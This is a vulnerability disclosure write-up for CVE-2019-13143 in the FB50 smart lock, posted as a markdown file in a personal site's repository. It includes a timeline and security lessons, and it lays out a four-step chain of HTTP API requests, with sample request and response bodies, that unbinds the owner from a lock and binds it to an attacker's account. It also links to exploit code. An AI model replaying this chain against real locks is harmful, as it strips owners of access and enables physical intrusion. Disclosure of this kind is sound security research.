all repos — site @ 53ef7e97ed6524d7a8d48671fd4607a085025c9e

source for my site, found at icyphox.sh

pages/txt/fb50.txt (view raw)

  1---
  2date: '2019-08-05'
  3subtitle: ... and lessons learnt in IoT security
  4template: text.html
  5title: 'Picking the FB50 smart lock (CVE-2019-13143)'
  6url: fb50.md
  7---
  8
  9(*originally posted at [SecureLayer7's
 10Blog](http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure),
 11with my edits*)
 12
 13The lock
 14--------
 15
 16The lock in question is the FB50 smart lock, manufactured by Shenzhen
 17Dragon Brother Technology Co. Ltd. This lock is sold under multiple
 18brands across many ecommerce sites, and has over, an estimated, 15k+
 19users.
 20
 21The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
 22the Play/App Store to function. The app requires the user to create an
 23account before further functionality is available. It also facilitates
 24configuring the fingerprint, and unlocking from a range via Bluetooth.
 25
 26We had two primary attack surfaces we decided to tackle---Bluetooth
 27(BLE) and the Android app.
 28
 29Via Bluetooth Low Energy (BLE)
 30------------------------------
 31
 32Android phones have the ability to capture Bluetooth (HCI) traffic which
 33can be enabled under Developer Options under Settings. We made around 4
 34"unlocks" from the Android phone, as seen in the screenshot.
 35
 36![wireshark packets](/static/img/bt_wireshark.png)
 37
 38This is the value sent in the `Write` request:
 39
 40![wireshark write req](/static/img/bt_ws_value.png)
 41
 42We attempted replaying these requests using `gattool` and `gattacker`,
 43but that didn't pan out, since the value being written was
 44encrypted.[^1]
 45
 46Via the Android app
 47-------------------
 48
 49Reversing the app using `jd-gui`, `apktool` and `dex2jar` didn't get us
 50too far since most of it was obfuscated. Why bother when there exists an
 51easier approach---BurpSuite.
 52
 53We captured and played around with a bunch of requests and responses,
 54and finally arrived at a working exploit chain.
 55
 56The exploit
 57-----------
 58
 59The entire exploit is a 4 step process consisting of authenticated HTTP
 60requests:
 61
 621.  Using the lock's MAC (obtained via a simple Bluetooth scan in the
 63    vicinity), get the barcode and lock ID
 642.  Using the barcode, fetch the user ID
 653.  Using the lock ID and user ID, unbind the user from the lock
 664.  Provide a new name, attacker's user ID and the MAC to bind the
 67    attacker to the lock
 68
 69This is what it looks like, in essence (personal info redacted).
 70
 71### Request 1
 72
 73    POST /oklock/lock/queryDevice
 74    {"mac":"XX:XX:XX:XX:XX:XX"}
 75
 76Response:
 77
 78    {
 79       "result":{
 80          "alarm":0,
 81          "barcode":"<BARCODE>",
 82          "chipType":"1",
 83          "createAt":"2019-05-14 09:32:23.0",
 84          "deviceId":"",
 85          "electricity":"95",
 86          "firmwareVersion":"2.3",
 87          "gsmVersion":"",
 88          "id":<LOCK ID>,
 89          "isLock":0,
 90          "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
 91          "lockPwd":"000000",
 92          "mac":"XX:XX:XX:XX:XX:XX",
 93          "name":"lock",
 94          "radioName":"BlueFPL",
 95          "type":0
 96       },
 97       "status":"2000"
 98    }
 99
100### Request 2
101
102    POST /oklock/lock/getDeviceInfo
103
104    {"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
105
106Response:
107
108       "result":{
109          "account":"email@some.website",
110          "alarm":0,
111          "barcode":"<BARCODE>",
112          "chipType":"1",
113          "createAt":"2019-05-14 09:32:23.0",
114          "deviceId":"",
115          "electricity":"95",
116          "firmwareVersion":"2.3",
117          "gsmVersion":"",
118          "id":<LOCK ID>,
119          "isLock":0,
120          "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
121          "lockPwd":"000000",
122          "mac":"XX:XX:XX:XX:XX:XX",
123          "name":"lock",
124          "radioName":"BlueFPL",
125          "type":0,
126          "userId":<USER ID>
127       }
128
129### Request 3
130
131    POST /oklock/lock/unbind
132
133    {"lockId":"<LOCK ID>","userId":<USER ID>}
134
135### Request 4
136
137    POST /oklock/lock/bind
138
139    {"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
140
141That's it! (& the scary stuff)
142------------------------------
143
144You should have the lock transferred to your account. The severity of
145this issue lies in the fact that the original owner completely loses
146access to their lock. They can't even "rebind" to get it back, since the
147current owner (the attacker) needs to authorize that.
148
149To add to that, roughly 15,000 user accounts' info are exposed via IDOR.
150Ilja, a cool dude I met on Telegram, noticed locks named "carlock",
151"garage", "MainDoor", etc.[^2] This is terrifying.
152
153*shudders*
154
155Proof of Concept
156----------------
157
158[PoC Video](https://twitter.com/icyphox/status/1158396372778807296)
159
160[Exploit code](https://github.com/icyphox/pwnfb50)
161
162Disclosure timeline
163-------------------
164
165-   **26th June, 2019**: Issue discovered at SecureLayer7, Pune
166-   **27th June, 2019**: Vendor notified about the issue
167-   **2nd July, 2019**: CVE-2019-13143 reserved
168-   No response from vendor
169-   **2nd August 2019**: Public disclosure
170
171Lessons learnt
172--------------
173
174**DO NOT**. Ever. Buy. A smart lock. You're better off with the "dumb"
175ones with keys. With the IoT plague spreading, it brings in a large
176attack surface to things that were otherwise "unhackable" (try hacking a
177"dumb" toaster).
178
179The IoT security scene is rife with bugs from over 10 years ago, like
180executable stack segments[^3], hardcoded keys, and poor development
181practices in general.
182
183Our existing threat models and scenarios have to be updated to factor in
184these new exploitation possibilities. This also broadens the playing
185field for cyber warfare and mass surveillance campaigns.
186
187Researcher info
188---------------
189
190This research was done at [SecureLayer7](https://securelayer7.net),
191Pune, IN by:
192
193-   Anirudh Oppiliappan (me)
194-   S. Raghav Pillai ([@_vologue](https://twitter.com/\_vologue))
195-   Shubham Chougule ([@shubhamtc](https://twitter.com/shubhamtc))
196
197[^1]: [This](https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/)
198    article discusses a similar smart lock, but they broke the
199    encryption.
200
201[^2]: Thanks to Ilja Shaposhnikov (@drakylar).
202
203[^3]: [PDF](https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf)